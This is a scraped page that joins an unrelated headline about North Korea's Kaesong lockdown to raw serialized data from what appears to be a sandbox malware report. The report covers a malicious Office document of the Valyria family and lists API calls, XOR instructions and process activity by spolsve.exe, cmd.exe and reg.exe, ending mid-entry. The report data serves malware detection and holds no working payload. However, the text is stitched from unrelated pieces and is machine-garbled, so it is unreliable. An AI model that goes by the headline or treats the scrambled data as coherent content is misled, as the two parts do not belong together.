Kaesong lockdown lifted at North Korean Politburo meeting led by Kim Jong Un

26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 4f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T45f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Valyria Sample 70fa2300d793… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 70fa2300d793…. Malware family: Valyria. Threat score 100/100. 13/28 AV engines flagged this file. 11 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665","keywords":["Malicious","Valyria","malware analysis","sandbox report","threat intelligence","70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["doc","office"],"identifier":"70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Valyria","antivirusDetections":{"malicious":13,"total":28},"behavioralIndicators":{"malicious":11,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T6dc,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")28:T1259,Assembly shows XOR instruction xor ebx dword ptr [esp+10h] in Stream UID: 00000000-00002996-13423-1023-00413FB3 Assembly shows XOR instruction xor ebx ecx in Stream UID: 00000000-00002996-13423-791-00418070 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-215-00409BC7 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-215-00409BC7 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00003576-18544-175-00401B40 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-14-0040968B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-14-0040968B Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-182-004028D0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-182-004028D0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-33-00406DA1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-33-00406DA1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-200-00401200 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-200-00401200 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-126-0040C31D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-126-0040C31D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-179-00403A90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-179-00403A90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-174-00401990 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-174-00401990 Assembly shows XOR instruction xor esi dword ptr [ebp-08h] in Stream UID: 00000000-00003576-18544-234-0040655F Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00003576-18544-234-0040655F Assembly shows XOR instruction xor eax dword ptr [ebp-10h] in Stream UID: 00000000-00003576-18544-234-0040655F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-121-0040C0F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-121-0040C0F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-10-00405547 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-10-00405547 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-198-00402210 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-198-00402210 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-70-00407EBC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-70-00407EBC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-197-004025C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-197-004025C0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-46-00401000 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-46-00401000 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-199-00402420 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-199-00402420 Assembly shows XOR instruction xor cl byte ptr [ebp-02h] in Stream UID: 00000000-00003576-18544-130-0040A660 Assembly shows XOR instruction xor byte ptr [eax] cl in Stream UID: 00000000-00003576-18544-130-0040A660 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-190-00404380 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-190-00404380 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-213-00409E77 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-213-00409E77 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-187-00403470 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-187-00403470 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003576-18544-193-004037D0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003576-18544-193-004037D0 Assembly shows XOR instruction xor dword ptr [ebp-08h] eax in Stream UID: 23619-202-00409540 Assembly shows XOR instruction xor eax ebp in Stream UID: 23619-202-0040954029:T75f,"spolsve.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000002100d09c2100cb9c2100000000000000000000001c000000000154dc120000000000b8e9120095e16277d9d61800feffffff435c667750596677aa000000b8000000ca9c2100c89c2100dcdd120014e2120000000000000000000000000000000000000000000000000000000000000000001c5c657760d88075ffffffff170000008cdd120024000000030000007ce21200a8e7120014e2120086000000b8dd120096ed6677f29c2100a06a3c7586000000dcdd120014e212000000000086008800a06a3c75dcdd1200916c3c75f29c2100a06a3c75a06a3c754ce2120002020000 (UID: 00000000-00002996) "spolsve.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002996) "cmd.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003424)2a:T4a3,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")2b:T738,Found reference to API "GetMonitorInfoA" (Indicator: "GetMonitorInfo"; File: "00000000-00002996.00000001.69499.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetMonitorInfoA" (Indicator: "GetMonitorInfo"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00003576.00000000.69817.00423000.00000004.mdmp, 00000000-00003576.00000001.71736.00423000.00000004.mdmp, 00000000-00003576.00000002.73655.00423000.00000004.mdmp")2c:T4db,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "00000000-00002996.00000001.69499.00401000.00000020.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")2d:T57a,Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "81275,1200,3024,,RtlGetVersion,NTDLL.dll,"252:03:39.890",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")2e:T4be,"spolsve.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002996) "spolsve.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002996) "spolsve.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002996) "spolsve.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002996) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003424) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003424) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003424) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003424) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003944) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003944) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003944) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003944)2f:T314d,"spolsve.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter SHGetSpecialFolderPathW (UID: 00000000-00002996) "spolsve.exe" called "GetProcAddress" with a parameter SHCreateItemFromParsingName (UID: 00000000-00002996) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003424) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003424) "reg.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003944) "reg.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003944)30:T462,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")31:T15143,Found reference to API (Indicator: "CoCreateInstance"; File: "00000000-00002996.00000001.69499.00400000.00000002.mdmp") Found reference to API (Indicator: "SHGetSpecialFolderPathW"; File: "00000000-00002996.00000001.69499.00400000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; File: "00000000-00002996.00000001.69499.00400000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; File: "00000000-00002996.00000001.69499.00401000.00000020.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; 